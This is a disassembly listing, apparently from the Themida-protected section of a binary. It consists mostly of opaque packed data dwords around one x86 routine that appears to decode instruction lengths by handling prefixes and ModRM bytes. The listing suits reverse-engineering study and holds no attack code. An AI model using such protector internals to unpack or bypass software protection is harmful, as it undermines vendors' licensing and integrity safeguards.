5D000000h, 0A035ED81h, 0C7600652h dd 529F8285h, 6, 3E816600h, 850FA166h, 0Fh, 9F8685C7h dd 60652h, 24E90000h, 8D000000h, 529F8A85h, 858D5006h dd 6529FDAh, 6A5650h, 1DE8h, 10C48300h, 0FF25h, 86858900h dd 6106529Fh, 9F86B503h, 858B0652h, 6529F82h db 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_598FAB mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_598FB7 ; --------------------------------------------------------------------------- loc_598FAB: ; CODE XREF: Themida_:00598F94j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_598FB7: ; CODE XREF: Themida_:00598FA6j push ebx push esi push edi loc_598FBA: ; CODE XREF: Themida_:0059900Fj ; Themida_:0059902Bj ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_598FCD: ; CODE XREF: Themida_:00598FF4j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 652A0ECh lea ebp, [ebp+6529F62h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_598FFA inc cl cmp cl, 0Bh jb loc_598FCD loc_598FFA: ; CODE XREF: Themida_:00598FE9j cmp cl, 0Bh jz loc_599057 cmp al, 66h jnz loc_599038 cmp byte ptr [ebp-5], 0 jnz loc_598FBA cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_599030 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_598FBA ; --------------------------------------------------------------------------- loc_599030: ; CODE XREF: Themida_:0059901Dj and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_599038: ; CODE XREF: Themida_:00599005j cmp al, 67h jnz loc_598FBA cmp byte ptr [ebp-6], 0 jnz loc_598FBA xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_598FBA ; --------------------------------------------------------------------------- loc_599057: ; CODE XREF: Themida_:00598FFDj mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_599083 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_599088 ; --------------------------------------------------------------------------- loc_599083: ; CODE XREF: Themida_:00599062j movzx edi, al shr edi, 1 loc_599088: ; CODE XREF: Themida_:0059907Ej push ebp call $+5 pop ebp sub ebp, 652A1A4h lea ebp, [ebp+6529E62h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_59920A mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_59914E dec ecx jz loc_599131 dec ecx jnz loc_5991A1 cmp byte ptr [ebp-2], 0 jnz loc_59919D cmp byte ptr [ebp-5], 0 jz loc_599110 mov byte ptr [ebp+0Bh], 2 loc_599110: ; CODE XREF: Themida_:00599106j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 652A230h mov dword ptr [ebp+6529F82h], 1 pop ebp jmp loc_5991A1 ; --------------------------------------------------------------------------- loc_599131: ; CODE XREF: Themida_:005990EBj cmp byte ptr [ebp-2], 0 jnz loc_59917B cmp byte ptr [ebp-5], 0 jz loc_59917B mov byte ptr [ebp+0Bh], 2 jmp loc_59917B ; --------------------------------------------------------------------------- loc_59914E: ; CODE XREF: Themida_:005990E4j cmp byte ptr [ebp-2], 0 jnz loc_599194 cmp byte ptr [ebp-5], 0 jz loc_599183 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_59917B mov [ebp+0Bh], cl loc_59917B: ; CODE XREF: Themida_:00599135j ; Themida_:0059913Fj ... inc byte ptr [ebp+0Bh] jmp loc_5991A1 ; --------------------------------------------------------------------------- loc_599183: ; CODE XREF: Themida_:0059915Cj cmp dl, 5 jnz loc_5991A1 mov [ebp+0Bh], dl jmp loc_5991A1 ; --------------------------------------------------------------------------- loc_599194: ; CODE XREF: Themida_:00599152j cmp dl, 6 jnz loc_5991A1 loc_59919D: ; CODE XREF: Themida_:005990FCj mov byte ptr [ebp+0Bh], 3 loc_5991A1: ; CODE XREF: Themida_:005990F2j ; Themida_:0059912Cj ... dec byte ptr [ebp+0Bh] jz loc_5991CF movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5991B1: ; CODE XREF: Themida_:005991C7j movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5991B1 mov esi, edx loc_5991CF: ; CODE XREF: Themida_:005991A4j and al, 0FEh cmp al, 0F6h jnz loc_599204 cmp edi, 7Fh ja loc_599204 test bl, 38h jnz loc_599204 cmp byte ptr [ebp-7], 0 jz loc_5991FE movzx eax, byte ptr [ebp-4] jmp loc_599201 ; --------------------------------------------------------------------------- loc_5991FE: ; CODE XREF: Themida_:005991EFj push 1 pop eax loc_599201: ; CODE XREF: Themida_:005991F9j mov [ebp-1], al loc_599204: ; CODE XREF: Themida_:005991D3j ; Themida_:005991DCj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_59920A: ; CODE XREF: Themida_:005990B4j mov al, bl and eax, 7 sub eax, 4 jz loc_599235 dec eax dec eax jz loc_59922B and bl, 7 add [ebp-1], bl jmp loc_59923D ; --------------------------------------------------------------------------- loc_59922B: ; CODE XREF: Themida_:0059921Aj mov al, [ebp-3] add al, 6 jmp loc_59923A ; --------------------------------------------------------------------------- loc_599235: ; CODE XREF: Themida_:00599212j mov al, [ebp-3] add al, 4 loc_59923A: ; CODE XREF: Themida_:00599230j add [ebp-1], al loc_59923D: ; CODE XREF: Themida_:00599226j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_599265 movzx ecx, byte ptr [ebp-1] inc ecx loc_599250: ; CODE XREF: Themida_:0059925Fj mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_599250 loc_599265: ; CODE XREF: Themida_:00599245j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- dd 5CE9D08Bh, 0CF000001h, 0BBF05A1Ch, 8C964248h, 0A50A505Bh dd 0B7535B55h, 340A5855h, 4C53535Bh, 673A7872h, 0D7532A27h dd 3C40A26h, 0A060BE7Ah, 19526DB5h, 0D8531C17h, 78531C16h dd 38531C17h, 1E531C17h, 0F531C17h, 0A8531C17h, 0C3531C17h dd 0E9531C17h, 0F0531C17h, 2B531C17h, 59276F6Eh, 4E731C7Ah dd 6A307365h, 870E6F64h, 0C3531C17h, 0E1531C17h, 0F0531C17h dd 78531C17h, 3C531C17h, 1E531C17h, 0F531C17h, 87531C17h dd 0C3531C17h, 0E1531C17h, 0F0531C17h, 78531C17h, 3C531C17h dd 1E531C17h, 0F531C17h, 87531C17h, 0C3531C17h, 0E1531C17h dd 0F0531C17h, 78531C17h, 3C531C17h, 1E531C17h, 0F531C17h dd 87531C17h, 0C3531C17h, 0E1531C17h, 0F0531C17h, 78531C17h dd 3C531C17h, 1E531C17h, 0F531C17h, 87531C17h, 0C3531C17h dd 0E1531C17h, 0F0531C17h, 78531C17h, 3C531C17h, 1E531C17h dd 0F531C17h, 87531C17h, 0C3531C17h, 0E1531C17h, 0F0531C17h dd 78531C17h, 3C531C17h, 1E531C17h, 0F531C17h, 87531C17h dd 0C3531C17h, 0E1531C17h, 0F0531C17h, 78531C17h, 3C531C17h dd 1E531C17h, 0F531C17h, 87531C17h, 0C3531C17h, 0E1531C17h dd 0F0531C17h, 78531C17h, 74531C17h, 0E962CB22h, 1647h dd 52A6C668h, 9C80E906h, 0B968FFFBh, 0E90652A7h, 0FFFB9C76h dd 52A8A168h, 9C6CE906h, 9668FFFBh, 0E90652A9h, 0FFFB9C62h dd 52AB0A68h, 9C58E906h, 7A68FFFBh, 0E90652ACh, 0FFFB9C4Eh dd 52AD2C68h, 9C44E906h, 0D568FFFBh, 0E90652ADh, 0FFFB9C3Ah dd 52AFE568h, 9C30E906h, 0D568FFFBh, 0E90652B0h, 0FFFB9C26h dd 52B19568h, 9C1CE906h, 1668FFFBh, 0E90652B2h, 0FFFB9C12h dd 52B39668h, 9C08E906h, 1868FFFBh, 0E90652B9h, 0FFFB9BFEh dd 52B9E368h, 9BF4E906h, 7B1DFFFBh, 8E09B95Bh, 9BF8A84Ah dd 0A9EB9B3Dh, 0B7DB8B2Dh, 0AEE47D1Fh, 0D3756131h, 0C0627623h dd 0AE508610h, 9F4197FEh, 46F4DA32h, 0C3994432h, 7736734h dd 0CEB4707Dh, 92F1DF20h, 2902EC9Dh, 2E5CA5FFh, 3C9C7167h dd 734EFCE2h, 0B89E92F2h, 92F2740Ah, 7A2BD687h, 46920331h dd 0A614DEA4h, 8F0FE8CEh, 0DB8C993Fh, 8E681A06h, 0B103993Fh dd 25423E78h, 442A1348h, 65000000h, 774FBD87h, 1238B11Dh dd 3393C57Bh, 1F6506EAh, 31E2993Fh, 6A6E2959h, 2EE0CC21h dd 0C9993F1Fh, 4043677h, 0F0134BB2h, 0DEh, 98EBE18h, 5DC1FACFh dd 993F2BAFh, 897E422Ch, 0CC7B54CFh, 738DD21Bh, 0AF845443h dd 0AB89E76h, 8792F18Eh, 365F8DD6h, 0ACAD969h, 0E99A603Ch dd 22B4DE14h, 5A7E174Dh, 92464F85h, 0AFE616F0h, 15FCE029h dd 8F92F21Bh, 8030D206h, 0A2EEC315h, 62926AD8h, 45CA533h dd 3F3FE11Eh, 0BAD5E99h, 350D7B45h, 0EEEAABDBh, 3F3FDC8Ah dd 5FA85999h, 0F6842107h, 7AD49F8Eh, 8EF6E694h, 69B2639Fh dd 85B58D3Eh, 0F22A900Dh, 0D56A6B7Fh, 0C0D28224h, 0AD5E7A19h dd 76BBC3F2h, 8FE03580h, 13CAh, 0FFA13563h, 0EE90484Fh dd 0E183553Eh, 0D1736331h, 0C3657121h, 236FF42Ah, 386111B3h dd 484EFEA0h, 593CEC8Eh, 1870DD7Fh, 44338432h, 0A5720199h dd 0B3E4F59Dh, 66175025h, 578114C4h, 0BD87EEB5h, 0F091774Fh dd 6D993E8Dh, 49FBE7BCh, 0E4993E8Dh, 611F5992h, 0B134B20h dd 0D9h, 42960333h, 0A6EB346Dh, 0BE0F89Dh, 0BC1C7BABh dd 3765AEE7h, 0C06E545Bh, 3A92F18Dh, 6EA77C5Ah, 0D62812C3h dd 79DE0B30h, 0C8B4893Ah, 92F20CE1h, 0C69E3A5Bh, 6E834F5Ah dd 7E17AA8Ah, 9B4C855Ah, 26563052h, 0EE1C6573h, 105C31A7h dd 1A00D846h, 993F63DDh, 0EE9C825Ah, 6B993F63h, 4E880CBAh dd 0ED8F4079h, 17EF5D27h, 8F178331h, 0F6A3D39Fh, 1727D5BBh dd 0F3A49F8Fh, 1DCEF942h, 56821545h, 0A7FF4881h, 19BB1B77h dd 0F2AD2969h, 8076F2CDh, 0D785D62Bh, 56000012h, 42F29442h dd 31E18355h, 24D47662h, 14C46670h, 1DB6587Eh, 0B0266CE7h dd 9D3B5E0Eh, 8B4B4BFBh, 7C5C39E9h, 2F156DDAh, 99443481h dd 9DA26FFEh, 9D09E1F5h, 0EB342D0Fh, 0DCFE479Dh, 0CD6F692Ch dd 0A0077306h, 15B1BF53h, 0FD98C60Fh, 0C5D006DBh, 0B0CF3B13h dd 0A7A2FF99h, 3B3D51Eh, 3D734890h, 3CA88058h, 2FBB2B86h dd 1E40892Eh, 0C58FDA99h, 0CC997F57h, 49993EC0h, 0F05CB698h dd 7A9D188h, 684C958Bh, 90C929B7h, 0B1E6511Bh, 68195227h dd 2CA3690h, 85B923A8h, 0E3F62D17h, 5FB3D535h, 6AE93216h dd 9399716h, 0DA054E8Ah, 3E085429h, 0B89EF8D0h, 97166B0Ah dd 6C28D687h, 0E3C9216Ah, 9D66E008h, 0CCFCD485h, 7370FC9h dd 0DCFE478Fh, 6248692Ch, 9D66DFB4h, 14CF8031h, 7E4EBAF9h dd 0EF9DEE43h, 3E000011h, 2ADA7C5Ah, 19C96B6Dh, 0CBC5E7Ah dd 0FCAC4E88h, 59E4096h, 983E54CFh, 855346F6h, 736333E3h dd 647421D1h, 17FD55C2h, 99443569h, 9D8A57E6h, 0BF0BE0F8h dd 0C9AF87F5h, 993E99CCh, 46F69849h, 68B4894Fh, 0FE58309Eh dd 3E13C5CEh, 0CFD8BC05h, 4C9F913Ch, 2079B162h, 568F6472h dd 0E2D6786Ch, 93FF5931h, 856BE716h, 9F9132D7h, 7DB9A354h dd 391FF79Bh, 9F910F8Bh, 0E00E5708h, 0D18123B5h, 0C3C14C4h dd 8F49508Bh, 0FBD081BAh, 0D82479C2h, 98C8A00Eh, 3A92DBFDh dd 0F1E7B0E0h, 0B39BC4A8h, 0BBEBA5E3h, 44F2D8D7h, 0C1A5E3B3h dd 548A5F10h, 88C19640h, 6D6929D7h, 0EB165F98h, 6332623Ah dd 7223D375h, 4348E66h, 33E14593h, 0B0A5E3B3h, 1561B6FFh dd 1F05DD4Bh, 0AC30D77Ah, 8B5049F7h, 0BCF5CA0Eh, 4CFD360Bh dd 18B28091h, 1061B68Dh, 10FAh, 0CF716533h, 0BE60781Fh dd 0B153850Eh, 0A1439301h, 9335A1F1h, 533FC4FAh, 6831E183h dd 781ECE70h, 890CBC5Eh, 0E840AD4Fh, 44365402h, 7542D199h dd 3FE1F59Dh, 5044AF79h, 0C778B186h, 306595EFh, 3CEAD0A8h dd 0B992F18Dh, 0FADBBF08h, 77993EABh, 0DABBF1C6h, 0E9AC5CFEh dd 0AEE717EFh, 278004F1h, 73240DACh, 0C71C659Eh, 4E46B17Bh dd 0C97AB388h, 0D2F20BF1h, 0BE6F9F8Bh, 3079CDE9h, 0F1934550h dd 29ADE717h, 64D29CE0h, 0F1C5A68Ch, 0E515A5D8h, 0B3DE27AFh dd 98498D05h, 5F3666C0h, 76BA479h, 0A5D8F159h, 0F215C3A9h dd 0E192A5D8h, 0E73C8536h, 1CF4E4B1h, 5B30A6ECh, 4784D922h dd 0ECB6B4F5h, 0DFC0A67Eh, 5CAC2610h, 10F09E84h, 0BC6DAC26h dd 0DCB9690Bh, 893B27FCh, 4EAC2620h, 3A5B2B84h, 494CFC9Eh dd 0C6AC0592h, 0AC262118h, 5E33E495h, 539F7425h, 600EF489h dd 0DDAC2620h, 0BD1B7E2Ch, 6D4E340Ch, 0EAB2732Fh, 70129739h dd 0DBB321EBh, 0A7F0E8ABh, 0D368694Fh, 34E5B8C5h, 6E682C5Ch dd 3969C325h, 70A97E5Ah, 3D99F927h, 0D3CA7C68h, 642EB8C5h dd 8B3C9CF9h, 0C57359B3h, 3FB8C5D3h, 70A97E5Ah, 73CB14C5h dd 18776C8Dh, 6038E9BFh, 664C6530h, 0BF1877B8h, 8AD38435h dd 45930232h, 36A2F3A3h, 6F672B61h, 52ADB4h, 297ACFA0h dd 0F86h, 43E5F1A7h, 32D40493h, 25C71182h, 15B71F75h, 7A92D65h dd 0D7BB386Eh, 0ECAD5DFFh, 0FC9A4AECh, 0D8838DAh, 64BC29CBh dd 4438D07Eh, 0F1BE4D99h, 0D4BAF59Dh, 92F18E26h, 37E5CBA3h dd 0B492F18Eh, 0FFA15203h, 399DF525h, 6D532B64h, 92F18EBFh dd 14428B3Ch, 4C825781h, 0D2049249h, 7D164C21h, 4950865Bh dd 0EDABA8Fh, 0B57FE2DDh, 0CF098C74h, 2155332Dh, 681F1506h dd 5A000001h, 0BE0F89Dh, 7618C0D5h, 0A078E6B0h, 3EA9E1BAh dd 0E5B05E99h, 34E51EF3h, 0C8CFFF5Fh, 31E3C710h, 0CC993EA9h dd 9EF480ECh, 1AB29215h, 94A607D1h, 134BF5F4h, 4C80h, 2178A800h dd 87296EB7h, 47774FBDh, 0CE0A8D4Eh, 967CD41Dh, 993E8DF5h dd 0ECC172h, 993E8D4Eh, 499D09E9h, 15617AAFh, 61CA94DDh dd 4BFEB957h, 0C24313h, 116B0000h, 828D51A5h, 4CB0E356h dd 993E999Eh, 0B0286D1Bh, 0A8F1A2DBh, 0E0F89D63h, 19BDD50Bh dd 18870E44h, 0FF85FC9h, 0E5BA6B25h, 50F2E6AFh, 0F27F03EAh dd 6FE75392h, 1B3DB013h, 36A2F7A5h, 0B1DF2861h, 8C52F4E4h dd 964257C2h, 0FFD788C1h, 0BFD87093h, 3C85F7FBh, 4A308AE4h dd 92F24B9Ch, 3B1F6819h, 9942000Bh, 0CFFFD788h, 0E13B13C3h dd 41FF4DFBh, 0D019CA99h, 4294FEAEh, 29DA8A87h, 0F243987Ah dd 0E16h, 0B3558117h, 0A2449403h, 9537A1F2h, 8527AFE5h dd 7719BDD5h, 672BA8DEh, 7C1DCD6Fh, 8C0ABA5Ch, 9DF8A84Ah dd 0D42C993Bh, 443940EEh, 612EBD99h, 3FE1F59Dh, 0BFD5068Fh dd 0FDC46617h, 0BE0F89Dh, 7618C0D5h, 3409CFC6h, 0E4F2A4D4h dd 498DD60Fh, 0DF39117Fh, 0F18D4BF9h, 7B59B92h, 8492F18Eh dd 2E7728D3h, 946BF0D6h, 37E8993Eh, 76CCA95h, 9D850000h dd 9D09E1F5h, 760A43B9h, 4297E01Bh, 0F1CFA456h, 0D03E0892h dd 72F912F8h, 0C5769944h, 0D8BDEDh, 442A845Eh, 99447296h dd 0EB196213h, 23592EAAh, 0B9AC676Fh, 0B37A2C4Dh, 0D640D5Eh dd 0CFC90000h, 0E2B56507h, 0EFA454F6h, 0FD9747E9h, 0B8737D9h dd 5A9029CBh, 7719BDD5h, 6406D2C7h, 52F4E2B4h, 43E5F3A2h dd 0EA987ED6h, 6799443Ah, 0F59D0BD8h, 68F3FE1h, 0CEC7FDD2h dd 804A350Ah, 613E572Fh, 0C55AC739h, 0DE80316Ch, 65324E4h dd 19D015h, 0E70B0000h, 92F1976Fh, 17A20EE6h, 0B620723Eh dd 0E3A277CCh, 0FDEE519Ah, 0E70CFFFFh, 92F18D35h, 973F5585h dd 0FC4089C2h, 0BCECC432h, 60B801D7h, 17C1D606h, 30D9EACEh dd 0A8569944h, 643CEDEBh, 0D5776134h, 93687025h, 0E6A1355Dh dd 7A2C0BFDh, 0BB3D8EE3h, 7200000Ch, 5E0EB026h, 4DFD9F39h dd 40F09246h, 30E08254h, 39D27462h, 0C4128003h, 0B1277222h dd 9F375F0Fh, 90484DFDh, 432981EEh, 99443A95h, 9DB68312h dd 0D50BE0F8h, 584318C0h, 30655D8Eh, 0D22C06A8h, 0F18D3EECh dd 0FDE3BB92h, 92F18D4Fh, 216A1BCCh, 620EFA9h, 169515h dd 0E7D00000h, 92F1976Fh, 0FD4A1DE6h, 59C5FFFFh, 0D6D724Eh dd 94E977Fh, 774FBD87h, 3EA06091h, 662FDD99h, 0B3649D72h dd 0ECECABDBh, 0B1624EA3h, 4C993EA0h, 8987B1FAh, 73134B37h dd 1D3h, 7E92F9Bh, 0AE84503Eh, 65E72065h, 0DC92F18Dh, 2B1C9804h dd 0D56E675Dh, 0D4C1778Ch, 0ECD22C04h, 92F1BC3Eh, 52860DBBh dd 4A93447Dh, 741E4E28h, 1B1B8D62h, 60E56C9Ah, 15438C3Dh dd 0E0F61F80h, 0AB954155h, 994AE9CEh, 603464C4h, 0FF492D76h dd 9392F275h, 0C61281B1h, 8A7AB37Dh, 652BCD0Bh, 21572C9Ah dd 208C6474h, 0A710ABC1h, 98BA03BCh, 60F2ADE8h, 8185951Dh dd 3D1105EFh, 0B7B94F42h, 3453106h, 9E92F266h, 3FD9E34Ch dd 0C51506FCh, 13Fh, 0E0F89D00h, 56079C08h, 0E54B03Ah dd 5B3A70C5h, 0EBF1980h, 3062926Ch, 8B71D1A6h, 92F202DDh dd 0AFF8A95Ah, 5B33A16Bh, 3F1E9C75h, 5B411999h, 993F1EADh dd 0F3C8792Ah, 3F1E5507h, 4D9EF099h, 4BB56D2Bh, 9278D213h dd 993F26E4h, 5467B061h, 40h, 8B4D4C7Ch, 0BD87FD42h, 0F091774Fh dd 6D993E8Dh, 29FEDABFh, 0A6A3FF0h, 481DBBDAh, 8D5402E8h dd 20D1993Eh, 9042266Fh, 2B993E8Dh, 0AA6690D9h, 52134B20h dd 9Eh, 8B4D4A7Ah, 0EF347DB6h, 85331973h, 0FF92F18Dh, 0E4954098h dd 0B0286D9Bh, 4A4B7BDBh, 3780B98Eh, 784D8909h, 0B0855342h dd 1BBD1B7Ah, 0F1A656B5h, 13C5D092h, 73E1AB71h, 5B85B59Bh dd 54029941h, 0EE69741h, 8022B4DEh, 5914C2D0h, 7A29367Ah dd 0ABA6F74Ch, 8200000Ah, 6E1EC016h, 5D0DAF29h, 5000A236h dd 40F09244h, 49E28452h, 0D4029013h, 0C1178232h, 0AF276F1Fh dd 0A0385D0Dh, 533991FEh, 99443CA5h, 73C69322h, 3D865243h dd 7B53830Fh, 287B070Fh, 236C81EEh, 94445101h, 0F89D2BF2h dd 0C0D50BE0h, 1FAB7618h, 53000004h, 8F647423h, 0C8C80D56h dd 2A986265h, 2231E652h, 0D2357864h, 4B4B3189h, 9B994485h dd 85AD5B41h, 792A9944h, 72540530h, 2AD8BE18h, 0A7994485h dd 9F69ADF6h, 1D796034h, 0FAABE4B9h, 528B7149h, 0CF9F91B2h dd 0AB5D491Eh, 259F91B2h, 5C92676Fh, 0B0CCA137h, 0A330135Ch dd 92FE1851h, 0FD415DECh, 0C63E875Bh, 19A646CAh, 372B2h dd 35E7ED00h, 8592F18Dh, 519A3E55h, 0F18DCA6Dh, 0F6642E92h dd 0B347381Eh, 6797993Eh, 9CD5AA2Eh, 0BC772853h, 7A268EE7h dd 0BBFF50A5h, 72000009h, 5E0EB026h, 4DFD9F39h, 40F09246h dd 30E08254h, 39D27462h, 0C4128003h, 0B1277222h, 9F375F0Fh dd 90484DFDh, 432981EEh, 99443D95h, 73B68312h, 0E8B5043h dd 0A2D019CAh, 0C410E5F3h, 84B48CFAh, 247CC513h, 4431413Eh dd 6B0DBE99h, 956DDBA5h, 96D5B6AFh, 0D85339Fh, 0DEAE8B90h dd 7B2C55D2h, 0D7C2F2CAh, 92439504h, 0E5008AF0h, 9D649F96h dd 47B38D2Fh, 5A2C5DEBh, 7CDEC895h, 38FDD162h, 0A9F01E67h dd 71245A2Fh, 0C2238F67h, 0BEE415FCh, 66B20750h, 0FC562E9Ch dd 2B0EBCA2h, 0C889F97h, 256E1FCAh, 0E42FD041h, 8F754DA5h dd 0A5E42FE1h, 41FCAD5Eh, 86CC0B76h, 0FB7ACB20h, 32000008h dd 1ECE7066h, 0DBD5F79h, 0B05286h, 0F0A04294h, 0F99234A2h dd 845240C3h, 716732E2h, 5F771FCFh, 50880DBDh, 3E941AEh dd 99443E55h, 877643D2h, 47774FBDh, 0EB438C4Ch, 44310C05h dd 0BADB8999h, 65956D1Eh, 5202A434h, 4DB99147h, 19EB04B8h dd 0E93E87A6h, 8D65D39Dh, 96D7AAA7h, 0A176279Fh, 0BB13D541h dd 0C3605768h, 0FE6C367Ah, 0C82B4026h, 0F7A8A5E3h, 0CBA47B3Ch dd 6BBC1186h, 87Ah, 4FF1E5B3h, 3EE0F89Fh, 31D3058Eh, 21C31381h dd 13B52171h, 0D3BF447Ah, 0E8B16103h, 0F89E4EF0h, 98C3CDEh dd 68C02DCFh, 443FD482h, 0F5C25199h, 0B3E3F89Dh, 0B96A6C26h dd 0EFE9AEE4h, 7F30E11Ah, 791A4AAAh, 0F6A73162h, 719FE821h dd 0F4DFB424h, 7DD7C12Ah, 0BD92464Dh, 8D722084h, 0DCC292F1h dd 92F18D2Eh, 9E4FFAABh, 6A6E2755h, 2432CEC8h, 8CBA1506h dd 0F5000001h, 0BE0F89Dh, 791BC0D5h, 8DA25036h, 6E1F92F1h dd 0A46A0CBDh, 28946CDAh, 15668E33h, 0E038815Bh, 98462C86h dd 0D692F1EEh, 0A2738742h, 0B2630E54h, 0BCAC8569h, 7829993Eh dd 0BD05B7A3h, 4EA0993Eh, 0B3DDB1Dh, 5282134Bh, 84BD9244h dd 451ABCD6h, 20B0C30Ch, 0EB000000h, 774FBD87h, 3E8DF091h dd 0E7BC6D99h, 3E8D49FBh, 5992E499h, 4B20611Fh, 0D20B13h dd 9D460000h, 0C296A7F8h, 5D478F05h, 7728E69Ch, 0B0266CA2h dd 0EA987ED8h, 6792F27Ch, 0E2186DB6h, 686E28B3h, 0E9ACE2B7h dd 70E74DEFh, 0C092F298h, 0FEDCBB54h, 0F740CFC6h, 6A0CCCC9h dd 3C33DAA4h, 65467B18h, 432901B2h, 99426E13h, 78603363h dd 0C274A38Eh, 87D05976h, 0F09E845Ch, 409941ADh, 41ADAC5Ah dd 0CD782999h, 0B05E441Ch, 2D9941ADh, 0C3F3CB7Ch, 0A692CECFh dd 26ECD1D3h, 0D85CFD39h dd 0B1627Eh, 0F2E4AE5Eh, 29A68037h, 5CAD027Ah, 6FAh, 0CF716533h dd 0BE60781Fh, 0B153850Eh, 0A1439301h, 9335A1F1h, 533FC4FAh dd 6831E183h, 781ECE70h, 890CBC5Eh, 0E840AD4Fh, 44405402h dd 7542D199h, 3FE1F59Dh, 30D2068Fh, 65732656h, 0C90E5790h dd 85331973h, 292F18Dh, 0E2F6A351h, 5D8BD40Dh, 95CBA038h dd 0A600D800h, 8DB8664Ch, 843592F1h, 0F18D7220h, 663EEF92h dd 0F18DD280h, 559E4F92h, 4C6833h, 0E0100000h, 4C3822B4h dd 9E3F6DEBh, 0C80F549Dh, 5BC99334h, 319E9D83h, 6A1B9944h dd 0BF7E8388h, 0C9AF87F5h, 9F96D5CBh, 0F6C65E48h, 0AD825643h dd 47FA8A74h, 77D1B364h, 5E81090Bh, 25FDA081h, 96F6913Fh dd 145D0E9Fh, 40CBh, 0BD878600h, 0ED1D774Fh, 0FFE32CACh dd 993E9C1Eh, 2915EA9Bh, 993E8B76h, 2208A9F0h, 993E8B74h dd 0BA8F40F1h, 0EEC31584h, 0DF03903h, 0AA80E9B5h, 0B49A72E0h dd 9F8B9AD3h, 32FD9F50h, 0D3h, 4FBD87EDh, 89371D77h, 392F18Dh dd 3A734890h, 3D95DE8Fh, 0F8E0B3E3h, 0BDA1EA23h, 994431BCh dd 83C8A00Ch, 2EE6ED09h, 0AA94A50Ah, 92784F37h, 9943DBE4h dd 0B6FFB061h, 6B70DA8Bh, 0D8BD66h, 36A2F52Bh, 86E73B61h dd 5203D5BEh, 0FA3C6DB7h, 13546E1Eh, 6EE6h, 0BD872100h dd 9191774Fh, 0E994431h, 0E9EEF35Dh, 15845740h, 73D12C3h dd 95754A8Eh, 29D60C9h, 3C9AFA2Ah, 9442E67h, 2B1D4800h dd 9622C75h, 547311EFh, 35DB13h, 97030000h, 4351D1E2h dd 9B85BE93h, 0A4ED9093h, 52BD875Fh, 0D8FE9447h, 4419CA03h dd 9C825A0Bh, 9944319Dh, 0FAFF691Ah, 0D4155FF5h, 5480E6A2h dd 0D8E13h, 0E7C90000h, 92F1A6CDh, 0FEF07B44h, 7336FFFFh dd 775D5443h, 92F18DC9h, 9BE49546h, 471F8D57h, 0CDAD6EDBh dd 0FF380DC9h, 3792BD15h, 80C90D89h, 8D714228h, 3DEE9944h dd 0BD521C68h, 448D29D7h, 0E8CEA699h, 99448D3Ah, 0A45506B7h dd 30E8E6CCh, 0B4659F97h, 5EC993DFh, 1AF2A335h, 0E9D40B34h dd 0BCDA88A5h, 5B0C451Ah, 0D6FD1783h, 94703542h, 0D922D305h dd 92465181h, 6CD84EBAh, 0FF80A50Dh, 4CE94B6h, 3464BE96h dd 6BA4795Fh, 716D3E22h, 39EAAC3Ch, 71653161h, 1CEC69CFh dd 2F664463h, 3E5707A9h, 0B65C59Ah, 631C7725h, 0FA43F444h dd 0A67EECB6h, 1CB8664Ch, 84354463h, 0E4FDE33Bh, 344AB02Dh dd 0FD469004h, 304C21D2h, 600EF44Eh, 0DD4AB02Dh, 0D019E32Ch dd 9133A5F0h, 4C21B5E1h, 0FFD9BCECh, 0CC0F88B6h, 895E0FC9h dd 0BCDE0F63h, 2B950650h, 549D1343h, 0C4667026h, 7F548214h dd 7CC87174h, 96435333h, 1DBBDEFDh, 0AD5E976Ch, 0BE87440Bh dd 0B7A78817h, 7425A0CBh, 0AE5C429Ch, 2B92F20Ch, 0A6DC317Ah dd 0D714E9EFh, 7D462485h, 0D8BD6D0Fh, 8D919600h, 3CF35FB7h dd 0ECED7B2Bh, 3A903E24h, 5C0D92F2h, 20DDC1ABh, 0D60A482Eh dd 9A6AC38Dh, 0CBFBDDFBh, 50880FCCh, 3A6ACA9Fh, 71AA7F59h dd 58964428h, 861092F2h, 4E457B50h, 4599B58Ah, 318519E4h dd 0E5AEDEF8h, 1B7CAAF3h, 2B6B1BBDh, 0A76D6ABh, 0DCCC1099h dd 0FD9846BEh, 84CD06DBh, 0F254EFA0h, 0F603292h, 21B5DD0Dh dd 54B56349h, 813292F2h, 4A8C0A38h, 725042A8h, 0CFC792F2h dd 1506C130h, 0FFFF55BCh, 